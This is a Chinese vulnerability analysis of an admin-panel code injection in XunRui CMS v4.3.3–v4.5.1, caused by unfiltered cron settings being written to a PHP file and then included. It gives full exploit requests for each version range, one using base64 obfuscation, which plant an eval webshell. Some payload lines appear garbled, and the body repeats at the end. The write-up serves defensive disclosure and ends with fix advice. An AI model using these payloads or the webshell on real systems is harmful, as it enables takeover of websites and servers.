某CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)
字数 1091 2025-08-27 12:33:37

迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞分析

漏洞概述

迅睿CMS在v4.3.3到v4.5.1版本中存在后台任意代码注入漏洞,攻击者可以利用该漏洞在服务器上写入任意文件并执行恶意代码。

影响版本

  • v4.3.3到v4.5.1

利用条件

  1. 目标系统为迅睿CMS v4.3.3到v4.5.1版本
  2. 攻击者已获取后台管理员权限或具有"应用"->"任务队列"的管理权限

漏洞原理分析

漏洞位置

Admin控制器文件夹下Cron.php控制器的add()函数存在安全缺陷。

漏洞代码分析

v4.3.3到v4.5.0版本代码

public function add() {
    $json = '';
    if (is_file(WRITEPATH.'config/cron.php')) {
        require WRITEPATH.'config/cron.php';
    }
    $data = json_decode($json, true);
    
    if (IS_AJAX_POST) {
        $post = \Phpcmf\Service::L('input')->post('data', true);
        file_put_contents(WRITEPATH.'config/cron.php', 
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');' . PHP_EOL . 
            '$json=\'' . json_encode($post) . '\';'
        );
        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
        $this->_json(1, dr_lang('操作成功'));
    }
    
    \Phpcmf\Service::V()->assign(['data' => $data]);
    \Phpcmf\Service::V()->display('cron_add.html');
}

v4.5.1版本代码

public function add() {
    $json = '';
    if (is_file(WRITEPATH.'config/cron.php')) {
        require WRITEPATH.'config/cron.php';
    }
    $data = json_decode($json, true);
    
    if (IS_AJAX_POST) {
        $post = \Phpcmf\Service::L('input')->post('data');
        if ($post && is_array($post)) {
            foreach ($post as $key => $t) {
                if (!$t || !$t['name']) {
                    unset($post[$key]);
                }
                $post[$key]['name'] = dr_safe_filename($t['name']);
                $post[$key]['code'] = dr_safe_filename($t['code']);
            }
        } else {
            $post = [];
        }
        
        file_put_contents(WRITEPATH.'config/cron.php', 
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');' . PHP_EOL . 
            '$json=\'' . json_encode($post) . '\';'
        );
        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
        $this->_json(1, dr_lang('操作成功'));
    }
    
    \Phpcmf\Service::V()->assign(['data' => $data]);
    \Phpcmf\Service::V()->display('cron_add.html');
}

漏洞成因

  1. add()函数对用户输入$post没有进行充分过滤就直接写入WRITEPATH.'config/cron.php'文件
  2. 写入文件后,系统会通过require包含该文件,导致任意代码执行
  3. WRITEPATH默认为网站根目录下的cache/目录

漏洞利用方法

环境准备

  1. 安装并配置好PHP与Web中间件(注意低版本CMS需要低版本PHP)
  2. 克隆CMS官方仓库:https://gitee.com/dayrui/xunruicms
  3. 回退到指定版本(如v4.3.3到v4.5.1)
  4. 访问并安装CMS,登录后台(/admin.php

利用步骤

1. 获取CSRF Token

访问http://host:port/Admin.php?c=Cron&m=add并抓包,获取csrf_test_name参数值。

2. 构造恶意请求(v4.3.3到v4.5.0)

Payload示例

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA=POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ=htmlspecialchars_decode('>'));return;'%5D

URL解码后

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA=POST['.base64_decode('Ig==').'password'.base64_decode('Ig=base64_decode('KQ=htmlspecialchars_decode('>'));return;']

写入文件内容

<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';

3. 构造恶意请求(v4.5.1)

Payload示例

isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1

URL解码后

isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1

写入文件内容

<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';

4. 触发漏洞

访问http://host:port/Admin.php?c=Cron&m=add,系统会包含并执行写入的恶意代码,在网站根目录下生成webshell文件。

5. 生成的Webshell

文件路径:/webshell.php
内容:<?php eval(@$_POST["password"]);?>

漏洞修复建议

  1. 升级到最新版本
  2. 对用户输入进行严格过滤,特别是写入文件的内容
  3. 限制后台管理权限,避免不必要的权限分配
  4. 对写入文件的内容进行合法性检查

总结

该漏洞利用CMS后台管理功能中对用户输入过滤不严的缺陷,通过精心构造的payload绕过安全限制,实现任意文件写入和代码执行。攻击者需要具备后台管理权限,但一旦利用成功,可完全控制目标系统。

迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞分析 漏洞概述 迅睿CMS在v4.3.3到v4.5.1版本中存在后台任意代码注入漏洞,攻击者可以利用该漏洞在服务器上写入任意文件并执行恶意代码。 影响版本 v4.3.3到v4.5.1 利用条件 目标系统为迅睿CMS v4.3.3到v4.5.1版本 攻击者已获取后台管理员权限或具有"应用"->"任务队列"的管理权限 漏洞原理分析 漏洞位置 Admin 控制器文件夹下 Cron.php 控制器的 add() 函数存在安全缺陷。 漏洞代码分析 v4.3.3到v4.5.0版本代码 v4.5.1版本代码 漏洞成因 add() 函数对用户输入 $post 没有进行充分过滤就直接写入 WRITEPATH.'config/cron.php' 文件 写入文件后,系统会通过 require 包含该文件,导致任意代码执行 WRITEPATH 默认为网站根目录下的 cache/ 目录 漏洞利用方法 环境准备 安装并配置好PHP与Web中间件(注意低版本CMS需要低版本PHP) 克隆CMS官方仓库: https://gitee.com/dayrui/xunruicms 回退到指定版本(如v4.3.3到v4.5.1) 访问并安装CMS,登录后台( /admin.php ) 利用步骤 1. 获取CSRF Token 访问 http://host:port/Admin.php?c=Cron&m=add 并抓包,获取 csrf_test_name 参数值。 2. 构造恶意请求(v4.3.3到v4.5.0) Payload示例 : URL解码后 : 写入文件内容 : 3. 构造恶意请求(v4.5.1) Payload示例 : URL解码后 : 写入文件内容 : 4. 触发漏洞 访问 http://host:port/Admin.php?c=Cron&m=add ,系统会包含并执行写入的恶意代码,在网站根目录下生成webshell文件。 5. 生成的Webshell 文件路径: /webshell.php 内容: <?php eval(@$_POST["password"]);?> 漏洞修复建议 升级到最新版本 对用户输入进行严格过滤,特别是写入文件的内容 限制后台管理权限,避免不必要的权限分配 对写入文件的内容进行合法性检查 总结 该漏洞利用CMS后台管理功能中对用户输入过滤不严的缺陷,通过精心构造的payload绕过安全限制,实现任意文件写入和代码执行。攻击者需要具备后台管理权限,但一旦利用成功,可完全控制目标系统。